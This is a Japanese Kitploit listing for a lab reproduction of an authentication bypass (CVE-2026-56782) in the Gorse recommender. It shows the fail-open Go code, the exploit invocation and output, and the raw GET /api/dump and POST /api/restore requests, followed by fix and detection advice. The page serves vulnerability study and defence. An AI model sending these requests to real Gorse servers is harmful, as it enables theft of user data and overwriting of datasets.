Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-56782-Gorse-Auth-Bypass — CVE-2026-56782 — Gorse <0.5.10 認証されていない DB ダンプ/リストア (admin_api_key フェイルオープン)。ラボ + PoC、エンドツーエンド検証済み。 | Kitploit
ツール/GitHubGitHub/biitts/cve-2026-56782-gorse-auth-bypass
脆弱性分析エクスプロイトデータ流出ウェブセキュリティCTFペネトレーションテスト認証学習と教育ラボと実践
GitHub
biitts/cve-2026-56782-gorse-auth-bypass

CVE-2026-56782-Gorse-Auth-Bypass

CVE-2026-56782 — Gorse <0.5.10 認証されていない DB ダンプ/リストア (admin_api_key フェイルオープン)。ラボ + PoC、エンドツーエンド検証済み。

リポジトリを見る
112ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-56782 — Gorse 未認証データベースダンプ/復元 (認証バイパス)

Gorse < 0.5.10 は、admin_api_key = "" をデフォルト設定として出荷されます。マスターHTTPエンドポイント /api/dump および /api/restore は、管理者チェックによって保護されていますが、キーが設定されていない場合(デフォルト)フェイルオープン します。認証されていないネットワーク到達可能な攻撃者は、データセット全体(ユーザー、アイテム、フィードバック/PII)を不正に取得 したり、上書き したりできます。

CVECVE-2026-56782
影響を受けるGorse < 0.5.10
修正版0.5.10
分類CWE-305 (プライマリ脆弱性による認証バイパス) / CWE-306 (認証欠如)
CVSS 3.19.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
認証不要 (デフォルトの admin_api_key は空)
エンドポイントGET /api/dump, POST /api/restore (マスターHTTP、デフォルトポート 8088)
ステータス確認済み — zhenghaoz/gorse-in-one:0.5.8 でエンドツーエンドの再現済み

根本原因

master/rest.go では、ダンプ/復元ハンドラを checkAdmin() で保護しています:

root@kitploit:~
func (m *Master) checkAdmin(request *http.Request) bool {
    if m.Config.Master.AdminAPIKey == "" {
        return true                 // <-- フェイルオープン: キーが未設定 => 全員が管理者
    }
    if request.Header.Get("X-API-Key") == m.Config.Master.AdminAPIKey {
        return true
    }
    return false
}

func (m *Master) dump(response http.ResponseWriter, request *http.Request) {
    if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
    ...                              // すべてのユーザー、アイテム、フィードバック行をストリーム出力
}

func (m *Master) restore(response http.ResponseWriter, request *http.Request) {
    if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
    ...                              // m.Restore(request.Body) — データセットを上書き
}

出荷時の config/config.toml では admin_api_key = "" と設定されています。デフォルト設定では、checkAdmin() は すべての リクエストに対して true を返します — X-API-Key ヘッダは一切参照されないため、両方のエンドポイントが全世界から読み取り・書き込み可能になります。

影響

  • 機密性 — GET /api/dump は全データベースをストリーム出力します:すべてのユーザーIDとラベル、すべてのアイテム、フィードバックグラフ全体(誰が何とやり取りしたか)。実際の製品を支えるレコメンダーにおいては、これは大量のPII/行動データとなります。
  • 整合性 / 可用性 — POST /api/restore はデータセットを攻撃者提供のコンテンツで置き換えるため、サイレントなデータポイズニングや破壊が可能です。

再現手順

root@kitploit:~
# 1. 脆弱なサーバを起動(公式イメージ、デフォルト設定=認証なし)
docker compose -f lab/docker-compose.yml up -d
#    --playground により、実際のユーザー/アイテム/フィードバックデータセットがシードされ、不正取得可能になります。

# 2. PoC を実行(認証情報不要)
python3 exploit.py http://127.0.0.1:8088 -o dump.bin

確認結果:

root@kitploit:~
[*] GET http://127.0.0.1:8088/api/dump  (X-API-Key ヘッダなし)
[*] HTTP 200  content-type: application/octet-stream

[+] 認証なしデータ不正取得を確認
    users    : 2079
    items    : 22320
    feedback : 331901
    payload  : 262747105 protobuf bytes
    sample user ids : 0-vortex, 0markill, 0q2, 0x4richard, 0x973

[*] POST http://127.0.0.1:8088/api/restore  (X-API-Key ヘッダなし、EOFのみの本文)
[+] HTTP 200 (401ではない) - checkAdmin をバイパス: /api/restore は認証なしで書き込み可能です。

偽の X-API-Key ヘッダでも依然として 200 が返ります — これは、admin_api_key が未設定の場合(フェイルオープンパス)にキーが完全に無視され、単なる照合ではないことを確認しています。

生リクエスト

root@kitploit:~
GET /api/dump HTTP/1.1
Host: 127.0.0.1:8088
root@kitploit:~
POST /api/restore HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: application/octet-stream

<ダンプストリーム: int64 LE マーカー (-1 ユーザー, -2 アイテム, -3 フィードバック, 0 EOF) + 長さプレフィックス付き protobuf>

修正方法

  • Gorse ≥ 0.5.10 にアップグレードしてください。これにより、管理者チェックから空キーのフェイルオープンが削除されました(未設定のキーではアクセスが許可されなくなります)。
  • 影響を受けるバージョンでの暫定対策として、強力な admin_api_key(および dashboard の認証情報)を設定し、マスターの前面でTLSを終端し、マスターHTTPポート (8088) を信頼できないネットワークに公開しないでください。

検出方法

マスターポートへの GET /api/dump または POST /api/restore を、有効な X-API-Key を持たないクライアントから検出し、/api/dump からの大規模な application/octet-stream レスポンスをアラートします。

リクエストフロー、ダンプストリーム形式、パッチの詳細については ANALYSIS.md を参照してください。


  • 作成者: Caio Fabrício — github.com/BiiTts
  • 脆弱性のクレジットは元のCVE報告者に帰属します。このリポジトリは防御および教育目的の独立した再現です。許可されたセキュリティテストのみに使用してください。
ツールをダウンロード